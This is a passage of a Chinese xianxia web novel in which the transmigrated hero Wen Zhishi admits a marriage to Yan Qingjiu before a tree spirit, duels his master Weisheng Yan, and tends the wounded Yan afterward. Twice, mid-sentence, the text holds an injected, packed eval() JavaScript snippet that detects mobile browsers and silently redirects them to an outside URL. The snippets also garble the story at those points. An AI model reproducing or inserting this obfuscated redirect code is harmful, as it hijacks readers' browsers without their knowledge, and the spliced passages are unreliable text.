“那可不,咱活的那三千年也不是白活的啊。”树灵模仿着菜菜的语气,慢悠悠地笑了两声,言道:“今日你们在老夫这听到的故事、看到的画面、联想到的过去的事情一概不能对旁人说,若是说了,老夫便会收回你们的这段记忆,知道了吗?” 三人纷纷仓鼠点头。 “很好。现在老夫要问你们第一个问题了。”树灵伸出一根树枝,指了指闻执诗,慢吞吞地道,“孩子,你说说,你与这位砚公子到底是什么关系啊?” 菜菜歪头:“谁是砚公子啊?” 这老头真是生怕别人不知道啊! 闻执诗火急火燎地将砚倾酒拉到自己身边,勾着他的肩,揽着他的背,讪讪一笑,对菜菜道:“他呗。他小名叫‘砚砚’。”以免菜菜日后说漏嘴,闻执诗又补充了一句:“燕子的燕!” 菜菜好奇地问道:“‘燕燕’不是姑娘名儿吗?” “名字还分男女吗?我以前还叫燕子呢!他们都说没了我活不了。” 纯粹是瞎扯! 闻执诗也觉得自己说的太扯了,于是连忙找补道:“你跟他认识的晚,你不知道,他以前可金贵着呢!他一直是被人捧在手心里,当小姑娘养着的。” “砚砚,我说的对吧?”闻执诗捏了一下砚倾酒的腰,冲他眨眼睛,砚倾酒甩开闻执诗的手,不情愿地点了点头。 菜菜若有所思地笑了一下,突然问了句:“你们很小的时候就认识了?那你们是青梅竹马吗?” 闻执诗无言以对:“……” 心说青梅竹马那也得是小姑娘和小公子啊,我们俩怕是性别不符吧。想了想又觉得,性别好像也不是问题。 砚倾酒闷声看戏,也不作声。 树灵催促道:“孩子,你还没回答老夫的问题呢。一定要实话实说,不然老夫就不放你们走了。” 闻执诗冲砚倾酒使了个眼色。砚倾酒低声道:“他能读取我的记忆,你说谎也没用。” “好吧。那我说了啊,我真说了啊!”闻执诗搂着砚倾酒的腰,灵猴似的挂在他身上,旋即抹了把脸,挤出向上天借了两滴眼泪,声情并茂道:“其实,砚砚是我的道侣,我们已经成亲了。” “什么?!”话音刚落,菜菜便捂着脸,发出了一阵尖锐暴鸣,甚至惊飞了树上的鸟儿,“你们成亲啦?!” “我猜的竟然是真的?!你们双修过吗?双修能提升修为吗?我一早便觉得你们真的很般配啊!你们一定要长长久久啊!” 砚倾酒:“……”不理解且害怕。 闻执诗:“。”不理解但支持。 “恭喜你啊小丫头,你猜得可真准。”闻执诗干干一笑,自问自答道:“般配吗?还行吧。双修什么的,比较考验彼此的技术,我还不会,还是让砚砚努努力吧。这些事你可别说出去啊,砚砚他,很要面子的。” 砚倾酒则直言道:“我并不介意。” 闻执诗傲娇地吼道:“我介意行了吧!” “老夫也猜出来啰。”老树灵满意地笑了笑,“你们别走啊,老夫还有一个问题要问二位呢。咳咳,且容老夫问的直白一点,你们之间有情吗?” 这老头还挺八卦呢。 闻执诗心说您还用猜?您还用问?您不是会读心术吗?况且,您这问题也忒直接了吧,您为啥非要跟我们玩真心话大冒险呢! 闻执诗觉得,得等砚倾酒先说,不然一会这位不好哄的“大小姐”又要生气了。 二人犹犹豫豫,纠纠结结,较劲似的,谁也不肯先开口。老树灵发话啦:“俩孩子害什么羞呢?行啦,你们一块说吧。老夫数三二一,你们一起说。” “三!” “二!” “一!” 闻执诗硬着头皮道:“有!” 砚倾酒脱口而出:“没有。” 闻执诗扭头看向砚倾酒。砚倾酒一脸淡定,甚至正在压嘴角。 闻执诗如被倾盆大雨浇灌了全身,心登时凉透了,心道:“竟成了我有情你无意了!无情的人分明是我!” 这时,脑中突然蹦出来小系统的一则播报:【恭喜宿主!您的契约对象对您的心动值提升为25啦!】 心动值提升了?!闻执诗身上的水汽瞬间散了,嘴角刚沉下去的笑容立刻浮出水面,转头盯着砚倾酒时,还挑起了眉,好像在问:到底是有,还是没有?砚砚,你可真是口是心非啊。 不知哪个铁壶烧开了水,竟然炸了。 “啊——!看来是闻师兄主动追求的小师弟啦!没想到闻师兄也有铁树开花的一天,真是活久见啊!”菜菜惊讶地喊叫几声,恨不得化身月老派下来的人间使者,一溜烟跑到砚倾酒身边,激动地搓了搓手,起哄道:“小师弟,你就从了他吧。闻师兄这个人坏得很,对别人都不好,他要是真心喜欢你,肯对就只对你一个人好啦。”说着,又问了句:“咦?师弟你脸红什么?” “什么叫我这个人坏得很?!他脸红了?我看看、我看看!”闻执诗瞄了一眼,暗暗窃喜,立马扯出了一篇长篇大论:“虽然呢,逍遥宗有门下弟子之间不能谈情说爱的规矩,但那黄山长老不还是跟山下的女子私定终生,还生了三个胖娃娃吗。我还听说啊,黄山长老还将他那三个长得一模一样的孩子送到其他宗门当仙二代去了,人家别的宗门也没拒绝他啊。” “是以,我觉得小谈怡情,大谈伤身,稍微谈一下还是可以的啦。”说着,他又趁机低下头,偷偷地瞄了一眼砚倾酒的脸,笑道:“砚砚小师弟,你的脸果真红了嗳!” “我有点热。”砚倾酒低下头,抬手蹭了蹭脸,故意避开闻执诗的视线,问树灵,“我们可以走了吗?” 树灵助攻小情侣的目的已经达成,便掐指算了一算(掐的树枝),嘿嘿笑道:“孩儿们,去罢去罢!老夫就一直守在这里,你们要是有空,就来陪老夫聊聊天呗。还有一点老夫要提醒你们,此去你们会遇到一个不速之客,不用对他手下留情,拿刀子捅他就是了。” 这话只有砚倾酒听进去了,因为只有他擅长用匕首,也只会用匕首。 说完,老树灵的肚皮上出现了一个半人高的口子,想必这就是荒山的出口了。 三人在此地耽误了许久,却没有遇到前来寻找出口的弟子,也许是微生言的那把佩剑并不好找,众弟子还未寻到佩剑,自然不急着找出口。但,于闻执诗而言,找那把剑就容易多了。 微生言的佩剑名为沧山冷,与闻执诗的月照泉,常可甯的婆卿并称为“逍遥宗三大宝剑”。宝剑之间是可以相互感应的,按理说,月照泉的剑灵是可以找到其他两把宝剑的,但闻执诗现在还召不出月照泉的剑灵,只能另想他法。 闻执诗想到的办法便是用自己身上留存的微生言的气息,勾引那把剑,让宝剑闻着它主人的气味,来找自己。 他没把这个法子跟身边的两位小朋友说,是因为他觉得这个法子有点骚,跟那骚狐狸勾引人似的,虽然他勾引的是剑。 谁料,他没把宝剑沧山冷勾来,竟把微生言本人勾过来了! 约莫三十米外,微生言独自站在一片尸骸海中,踩着骷髅,站在一棵死树旁,背对着闻执诗等人,不知在看些什么。 荒山之中寸草不生,黄土上插着的都是三百年前逍遥宗与华山派大战时留下的残骸,因为是修仙之人的仙骨,不易腐烂,且数量极多无法清理,便一直留在这荒山之中,甚至“生根发芽”了! 荒山中原本的仙气与尸骨的怨气相撞,仙灵与怨灵厮杀了三百年,最终两败俱伤,什么也没留下。 据说那场大战万灵宗也参加了。微生言带着一众弟子与万灵宗掌门微生翯突袭了华山派的藏宝阁,只为偷取华山派的一件至宝——「轮回玉」。 堂堂逍遥宗的掌门竟然和万灵宗的掌门联手去别的华山派偷东西,华山派的一众弟子能忍?其他宗门能忍? 当然忍不了! 事发当夜华山派掌门便孤身一人提剑杀上了蓬莱仙山,将原本的玉山杀的血流漂杵,横尸遍野。 这人也算是半个杀神。挺口巾的! 次日,华山派的一众弟子杀上了逍遥宗,逍遥宗与华山派的大战便彻底爆发了。 这场大战持续了三个月,逍遥宗与华山派死伤无数,最终还是万灵宗的掌门微生翯和一众长老出面调解,后又带门中弟子前来止战,这场大战这才结束的。 说来也奇怪,明明是微生言和微生翯一起搞的骚操作,为什么微生翯全身而退了?更奇怪的是,万灵宗竟然一点也没受到波及! 也不知华山派那位有勇无谋的掌门是不是脑子抽筋了,竟然将门派至宝「轮回玉」交给万灵宗掌门和几位长老保管了,这跟把羊肉亲自送到狼的嘴里有什么区别? 听人工客服介绍完这段往事,闻执诗望着微生言玉树临风的身形,不由得揶揄两句:“这微生言长得人模狗样、仙风道骨的,怎么净干些偷鸡摸狗的事情?不过他也挺惨的,去恶佛门与那魔僧做交易本就失败了,竟还越挫越勇,又去华山派偷至宝,又失败了。啧啧,他可真是好事没做一件,坏事倒是做了不少。” 人工客服呵呵道:【你还点评上了?】 “唉嘿!你咋管的那么宽!”闻执诗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349193|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吊儿郎当道,“小客服,你这段时间做什么去了?怎么不常来啊。怕不是去别的宿主那儿卖乖去了?” 人工客服道:【老子是系统,别把老子当牛马!老子来是为了提醒你,回归主线剧情,别偏移得太过分,你这段时间触犯的ooc禁制的次数可不少,都是本客服亲自替你压下来的!你好自为之!过年的时候记得给老子磕三个响头!】 闻执诗贫嘴道:“行。我把您当祖宗给您供起来,给您上香,送您归西总成了吧。” 人工客服吼道:【滚去跟你的好师尊卿卿我我去罢!】 闻执诗道:“要卿卿我我我也得去找砚倾酒啊,找我师尊做什么?我又不喜欢微生言那厮!” 人工客服道:“哦。那你的意思就是你喜欢砚倾酒了呗。” 闻执诗装死。 人工客服挑衅道:“哈哈哈哈哈!你喜欢砚倾酒,你攻略人家,人家还没喜欢你,你倒是先喜欢上了哈哈哈!” 人工客服吵得闻执诗耳朵痛。他刚松开捂着耳朵的手,微生言便一缕烟似的闪现到了他的身边,握住他的手,含情脉脉地盯着他,问道:“执诗,你怎么了?可是受伤了?” 闻执诗搓了搓胳膊上的鸡皮疙瘩,瞄了眼冷脸回避的砚倾酒,回过神时才嗅到微生言身上浓郁的檀香味,稍一醒神,回道:“弟子无事,劳师尊挂念了。” “你好几日不来找为师,为师有些担心你,怕你出事,这才来看你。”微生言扫了眼砚倾酒和菜菜,倒也不在乎外人的眼光,又道,“执诗,你从前一向是对比武大会没什么兴致的,今年为何如此上心?若你想拔得头筹,为师可以助你一臂之力。” 这是要给他开小灶? 闻执诗心说逍遥宗的名门正派的形象垮了,微生言清流人物的形象更是碎的彻彻底底。 “师尊的厚爱执诗恐怕无法承受,况且这一轮执诗并非单打独斗,还有师弟师妹一起奋战。是以,执诗以为,师尊还是不要插手了。”闻执诗绞尽脑汁,才琢磨出这几句还算礼貌的话来拒绝微生言。也算是进步了。 微生言惨遭回绝,面子上过不去,脸一下子阴了下来。他指着菜菜和砚倾酒,沉声问道:“你是因为他们才不肯接受为师对你的好意的?” 这人的脑回路怎么跟寻常人不一样呢?跟他们有什么关系?闻执诗道:“并非师尊想的那样。弟子只是想向师尊证明,弟子已经可以独当一面了。” 微生言摊开掌心,低声拈咒,旋即,沧山冷悬于掌心之上。他寒声道:“既是如此,你便拔剑吧。” 闻执诗连忙单膝跪地,问道:“弟子惶恐,不知师尊此话何意?” 意思是,你又犯什么邪?我的师尊大人。 微生言寒声道:“若你想得到为师的佩剑,闯出荒山,就必须打败为师。”目光落在砚倾酒身上,目光阴寒,又道:“若你输了,为师便将这两个不相干的人杀了,祭奠死在玉山的一众亡灵。” 闻执诗不由得打了个寒颤,心说微生言此番竟然是冲着砚倾酒来的! 但,为什么呢???为什么无缘无故杀人呢我的师尊大人??? 与微生言交手,闻执诗赢也不是,不赢也不是。 若他赢了,微生言便会更加记恨砚倾酒,日后定想方设法地折磨砚倾酒;若他输了,砚倾酒和菜菜难逃一死。微生言身为一派掌门,在荒山杀两个不出名的小喽啰,旁人自然也不敢过问,很有可能根本就不会有人发现他们已经惨遭微生言毒手。 闻执诗苦大仇深地跪在地上,思量着该如何与微生言耍心眼。 先拒绝吧。哪有弟子出手打师尊的?虽然闻执诗真的很想与微生言正大光明地打一架,而不是在床上做那种事情。 “弟子不敢。”话音未落,沧山冷便先一步刺向了闻执诗的额头,眼看着那剑就快要刺进他的眉心了,闻执诗没有躲,而是冷冷地盯着剑尖,他赌微生言不会杀他。 沧山冷只进不退,带着汹涌的杀意。他没想到,微生言竟然真的对他动了杀心! 好在,沧山冷将要刺破眉心之时,一把匕首先一步挡住了沧山冷。 是匕首。是砚倾酒! 闻执诗的心顿时提到了嗓子眼。心说砚倾酒竟然不自量力地出手了! 动手之前,菜菜问砚倾酒:“师弟,你说掌门这是怎么了?是不是被什么邪祟附体了!无缘无故的,他为什么要杀咱们啊。” 问完,菜菜一转头,见砚倾酒乌黑的瞳仁像那深不见底的深渊,透露着一股阴冷的乖戾,不由得吓了一跳。 与惊慌失措的菜菜相比,砚倾酒显得格外的镇定。他慢条斯理地道了句:“他不是执剑掌门,许是荒山中的怨灵变幻出来的。他才是邪祟。” 砚倾酒竟也学会胡扯了。 但菜菜小师妹竟然信了! “那... ...那师弟你说,咱们该怎么办啊?要不要去帮一下闻师兄,打死这个邪祟?”菜菜躲在砚倾酒身后,悄悄地往掌心的玉白菜中注入了法力。 “既然是邪祟,”砚倾酒抽出藏在靴子中的匕首,似笑非笑道,“那便杀了吧。” 18. 心疼哥哥 匕首抵着剑尖。 砚倾酒将闻执诗护在身后,一双凤眼怒视着微生言,眼神中尽是恨意。微生言完全没有想到,自己竟被这眼神震慑住了。 仅此三秒。 三秒后,微生言抬脚朝砚倾酒的心口狠狠地踹了一脚,周身骤起的威压将砚倾酒逼退至三米开外的地方。 砚倾酒在地上打了个滚,爬起来的时候双目充血,看起来伤得不轻。 闻执诗不知砚倾酒为何突然犯邪乎,竟然敢不要命地替他挡剑!他转头朝菜菜使了个眼色,想让菜菜带砚倾酒走,谁料菜菜竟也是个胆大的,竟然敢质问微生言,说道:“仙尊为何无故出手伤人?莫非逍遥宗的规矩只约束我们这些寻常弟子,约束不了您?还是说,您作为逍遥宗的执剑掌门,就可以无视仙门的规矩,在比武大会上随心所欲地杀人了?” “规矩是死的,本座自然也要遵守仙门的规矩。”微生言儒雅地笑了一下,甩袖落手时竟趁菜菜不注意,朝她的心口打了一掌。菜菜的身子骨弱,承受不住,频频后退,直到后背撞在树上,捂着心口咯血。 微生言偷袭了小姑娘,竟然还能面不改色地整理衣袖,真真是不要个老脸。微生言翘起嘴角,慢条斯理地继续道:“不过,荒山乃废山,不在仙门之内。在这里,本座说的话就是规矩。” 闻执诗翻了圆溜溜的白眼,心道:“真是演都不演了。” 当然,这句话闻执诗没说在微生言的脸上。要怪就怪他辈分太低,见了微生言还得行大礼。 其实是因为该死的OOC限制。 “本座从未对门下弟子动过手,可你们竟然在本座的眼皮子底下私相授受,本座若不处置了你们,岂不是让逍遥宗的规矩成了笑话了?”微生言放狠话语录加一。 “到底谁才是那个笑话?” 闻执诗腹语一句,趁微生言不留神,跪走到砚倾酒身边,瞅了眼砚倾酒身上的伤,刚要给砚倾酒输送修为,却听见微生言大放厥词,不由得翻了个白眼,于心中吐槽道,“你就是个人面兽心,丧尽天良的伪君子,还是根吃里扒外的搅屎棍,畜牲的亲儿子,畜生言!” 闻执诗说话嘴皮子最溜的一次,可惜是腹语。 “要不是你,玉山能变成荒山吗?还祭奠亡灵呢?你要是还有点良知,怎么不把你的头拧下来给诸位亡灵当球踢?” 闻执诗在心里对微生言重拳出击,骂出了一篇长篇大论,可现实中还是得唯唯诺诺地向微生言卖乖,极其不耐烦地哄着他的搅屎棍师尊。 该死的人设!去他喵的OOC限制! 闻执诗忍不了,微生言当然也不会忍。须臾,微生言便又出手了。 闻执诗的白眼刚翻完,沧山冷的剑刃就已经刺破了闻执诗的眉心,一道鲜血顺着他的鼻峰落至鼻尖,而后滴在了他的下唇上。 他舔了舔血,是咸的。 该演戏了。 “师尊为何伤我?弟子何错之有?弟子不知错在哪儿了,求师尊明示!”说着,闻执诗再向上天借来三滴泪,挤了挤眼睛,满脸委屈地问道,“师尊,您真的容不下弟子了吗?从前您不是说,弟子是您心尖上的一块肉么?” 微生言失望道:“执诗,你与树灵说的那番话,为师都听到了。” 闻执诗怔住了,心道:“啊哈?莫非您向上天借来了顺风耳?” 剑指砚倾酒,微生言的语气寒冷至极,又道:“在树灵那里,你说,你对他有情。” “弟子只对师尊有情!”闻执诗心里念着那座奥斯卡奖杯,一把鼻涕一把泪,声情并茂地说,“适才弟子说那番话,是权宜之计。若弟子不那么说,树灵一定不会放弟子走的。” 越说演得越真:“师尊,您知道的,弟子从前是那花月场中的风流公子,曾经欠下过无数的情债,对许多妙人说过情话,后宫佳丽... ...却没有一人。可弟子的心中,从始至终就是有师尊一人。” 闻执诗差点说成了自己后宫佳丽三千万!他仔细一想,自己是个修士,又不是个皇帝,后宫佳丽三千万有点太多了,不好不好。 可他又想,既然是胡扯,为什么不能当个皇帝呢?他要是真当了皇帝,一定送微生言一个路易十六模拟器,让他从此找不着脑袋,分不清东西南北! 想得还是太美。 微生言收了剑,问道:“你对他当真没有半分情谊?可自打你入荒山以来,便无时不刻地护着他,若无情谊,怎会做到这个份上?” 闻执诗这下真要哭了。 他真想对砚倾酒说,看吧,修无情道的失败毕业生都看出来了,若我对你没点真情实意,又怎会做到这个地步? 想到这里,闻执诗心中无端生出了几分惶恐不安。他摸了摸心口,心道:“我该不会真对他有意思吧?” 管他有情还是无情,反正在微生言面前,有情也得说成无情。 “弟子对他绝无半分情谊!”闻执诗竖起三根指头,望着老天,发誓说,“若弟子对他有情,便请天神降下天雷惩罚弟子。” “轰隆隆!咔嚓!咔啦啦!”南边降下三道天雷,雷火点着了一排枯树,顿时噼里啪啦响个不停。 见状闻执诗“啊”了一声,心道:“雾草?!老天爷你好不给我面子。”而后抬袖灭了火。 一旁的砚倾酒扶额摇头,心说没眼看。 微生言气得发晕,老脸发绿,像是吃了云南见手青,看闻执诗就像一只一直在挑衅他的火鸡,还上蹿下跳地戏弄自己。 哪有徒弟敢这么冒犯师尊的?!微生言忍不了了! 一道凌烈的剑光闪过,沧山冷径直刺向闻执诗的心口,迫不得已,闻执诗只能拔剑抵挡,自此二人便打了起来,刀光剑影中,逼人的剑气将二人身边的恶灵砍的粉碎,全都化成了缕缕黑烟。 (恶灵:为我伸冤。 微生言先前被天劫所伤,伤筋动骨,修为失去了大半,就算现在他的体内有砚倾酒的仙骨,修为也不可能在短时间内恢复到从前。 古人说青出于蓝,而胜于蓝。原书中闻执诗的功夫都是微生言教的,而他的悟性极高,又从微生言教给他的招式中悟出了打败那些招式的新招式。如此一来,就算他的修为没有微生言那般高深,却也能与他师尊斗上个几十回合。 此时此刻,闻执诗任由微生言一次又一次地猛攻,见招拆招,只挡不攻,才战到第十四回合,微生言的进攻就变得有些吃力了。 二人又过了十四招,微生言完全招架不住了。 微生言不再是闻执诗的对手了。 若此时闻执诗想杀微生言,只需要一剑封喉即可。 可闻执诗却没有要了微生言的命。 微生言败下阵来,月照泉的剑刃抵在微生言的脖颈上时,闻执诗犹豫了。 因为他不想杀人,如果可以,他只想拿回砚倾酒的仙骨,而后尽自己所能保全微生言的性命。 虽然闻执诗不喜欢微生言,口口声声说要杀他,但微生言毕竟是他的师尊,又待他极好,他实在是无法把微生言当成一个空洞的小说角色,而是把微生言当成了一个活生生的人。 遇见的所有人在闻执诗的眼中,都是有血有肉的人,他们会哭会笑,会疼会痛,都有超出角色的存在价值,也都有存在的意义。 微生言更是如此。 微生言向来自诩不凡,如今败下阵来,心中不服,凄苦地惨笑一下,阖上双眼言道:“为师败了,任你处置。” 眼下不是夺回仙骨的最好时机,闻执诗收了剑,低声道:“弟子不会伤害师尊,只愿师尊能将沧山冷交由弟子,让弟子闯过此关。” 微生言问道:“你不恨为师么?若你不恨为师,为何你适才向为师使出的招式那么凶,一点也没有手下留情?为师以为,为师教了你这么多年,你却恨为师恨到了要置为师于死地的地步。” 未等闻执诗回话,一把匕首便刺进了微生言的后背,微生言便捂着心口,吐了一口血。 又是匕首。 与长剑相比短小而不起眼的匕首。 砚倾酒竟然出手了! 不只砚倾酒,菜菜亦出手了。若非菜菜利用玉白菜放出云雾替砚倾酒打掩护,砚倾酒根本无法靠近微生言。 见砚倾酒刺伤了微生言,闻执诗一下子慌了神,头皮倏然发麻,心道:“刺杀执剑掌门可是死罪,这下该如何是好啊!况且,微生言可是男主,他要是死了,剧情没法继续下去,就又要重开了!” 闻执诗心想:抛开一切来说,砚倾酒这一刀桶得还挺帅的。比他之前捅我还要帅。(点烟。 能挽救一点是一点。 闻执诗心说砚砚,对不住了。旋即,一掌击退砚倾酒,将微生言拉到怀里,佯装关切地问道:“师尊,您没事吧?” 没事才怪。 微生言吐着血,无比凄惨地问闻执诗,眼神中还带着小娇妻似的幽怨:“你为何要拦他?为师死了,你们不正好可以双宿双飞了么!” 是啊。双宿双飞不好么?为什么要留在这里受这种罪?? 微生言想死。闻执诗想带砚倾酒远走高飞。二人都是在妄想让不可能的事情发生。 闻执诗心说想死多么容易,问题是您现在还不能死啊。您可是男主,男主您懂吗!没了您这书就烂尾了。 微生言忍着痛,大声喝道:“说话!” 闻执诗向土地老儿借来两行泪,影帝附体开始表演:“师尊,您不能死,您死了弟子怎么办啊。况且,留得青山在,不怕没人要啊师尊!你为何想不明白啊师尊?” 微生言惨笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349194|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两声,又问道:“为何?!为师的生死与你何干,又岂能由你说了算!” 闻执诗扯了一个“圆润”的理由:“因为您还未将掌门之位传予弟子。弟子可以没有师尊,但逍遥宗不可一日无主啊师尊!” 都到这个时候了,闻执诗心里想着的竟然是他的掌门之位。 他可真是孝字当头,太孝了。 微生言被闻执诗气得两眼一黑:“……” 师尊生涯惨遭滑铁卢。 有这样的徒弟,还不如死了算了。 远处传来黄山峰的钟声,第二轮的比赛快到结束的时间了,闻执诗心说不能继续在这里耗下去了。 “师尊,弟子请求借沧山冷一用。待弟子晋级后,定会将宝剑还给师尊。”虽然嘴上说的是“借”,但闻执诗无比顺手地捡起地上的沧山冷,拿着就走。 微生言见他将身受重伤的自己扔在原地不管,反倒是小心翼翼地扶着砚倾酒往出口走,一时间愤怒之极,竟用七成功力朝砚倾酒劈了一掌。 这一掌,差点将砚倾酒的心震碎了! 砚倾酒承受不住,如一朵轻飘飘的云扑在了闻执诗的怀里,闻执诗连忙将他抱在怀里,而后狠狠地朝身后的微生言回了一掌。 这一掌,闻执诗用了九成功力。 微生言差点飞上天。 “砚砚,还能撑住吗?”看到砚倾酒嘴边的血,闻执诗心疼了,小声说道:“撑不住就先治伤,那名次我不要了。” “我没事。”砚倾酒咬牙忍着,有气无力道,“先出去。晋级。” “好。你再忍忍,等出去了,我先为你疗伤。”闻执诗抱着砚倾酒,带着菜菜,终于在出口结界消失之前,逃离了荒山。 三人成功晋级最后一轮。 黄山长老宣布最终结果的时候,砚倾酒已经疼晕过去,不省人事了。 ** 闻执诗将砚倾酒带去了小香山,让他躺在自己的松松软软的床榻上,盖着自己的心心爱爱的蚕丝被。 药师去通天殿给微生言治伤去了,砚倾酒身上的伤,就只能由闻执诗给他治。 闻执诗不懂医术,死马当活马医,也不知砚倾酒的身体能不能承受得住,发疯似的将自己的修为注入到砚倾酒的身体中。折腾了三个时辰,砚倾酒没好多少,他自己倒先没了精气神。 又不知过了多久,夜幕降临,月光不是照下来的,倒像是从山缝中渗出来的。屋里的奇花异草在夜里换了性子,竟展开了花瓣,一股沁人心脾的花香在屋里弥漫着,甚至盖过了苦药味。 砚倾酒平躺在床榻上,许是被梦魇着了,时不时颤抖几下,嘴里不停地念着:“娘亲,酒儿想回家了,这里不好,一点也不好。在这里,没有人喜欢我,没有人……” “原来你的小名叫‘酒儿’。”闻执诗跪在榻边,单手托腮,另一只手戳了戳砚倾酒的脸,轻声说道:“受了委屈就喊娘。还是个长不大的小孩呢。” 砚倾酒翻了个身,揪着被角,又嘀咕道:“娘亲,他不喜欢我。他喜欢他师尊,只喜欢他师尊。他将我关起来,冷落我,欺负我,我好难过。” 说着,竟然流出了两行眼泪。 砚倾酒这么一哭,闻执诗就成了那丧尽天良的负心汉。既然负心汉有错在身,他就不能为自己开脱,只能耐心地哄砚倾酒了。 闻执诗爬到榻上,跨跪在砚倾酒的腰上,俯下身凝视着砚倾酒病恹恹的脸,细声说道:“砚砚这么委屈,我哪能欺负你?我心疼你还来不及呢。” 情话张口就来,也不知道是不是动了真心。 闻某人看上几本谈情说爱的画本子,修真界就多了个一个名副其实的真影帝。 砚倾酒继续哭:“娘亲,我后悔了,我不该和他成亲,我不该。” “你的确不该跟原本的闻执诗成亲。”闻执诗用手指轻轻地拭去砚倾酒眼角的眼泪,又道:“不过,你可以与现在的闻执诗成亲。因为这个闻执诗不喜欢他师尊,倒是可以试着喜欢喜欢你。” 砚倾酒迷迷糊糊地哼了一声。 “说出来你可能不信,缘分这种东西,说不来就不来,可要是真来了,天王老子也拦不住。你看吧,虽然你拜常可甯为师了,可你现在不还是我小香殿的人,躺在我闻执诗的床上,还抱着我的枕头!”见砚倾酒迟迟不醒,闻执诗玩心大起,勾了勾砚倾酒的鼻尖,腻腻歪歪地道了句:“砚砚,你就从了哥哥吧。” 说完,闻执诗浑身一抖,差点压在砚倾酒身上。 太安静了。 闻执诗甚至能清楚地听见自己越来越响的心跳声,以及砚倾酒越来越明显的呼吸声。 小香殿中万籁俱寂。 “从了你什么?” 砚倾酒竟然在这个时候醒了?!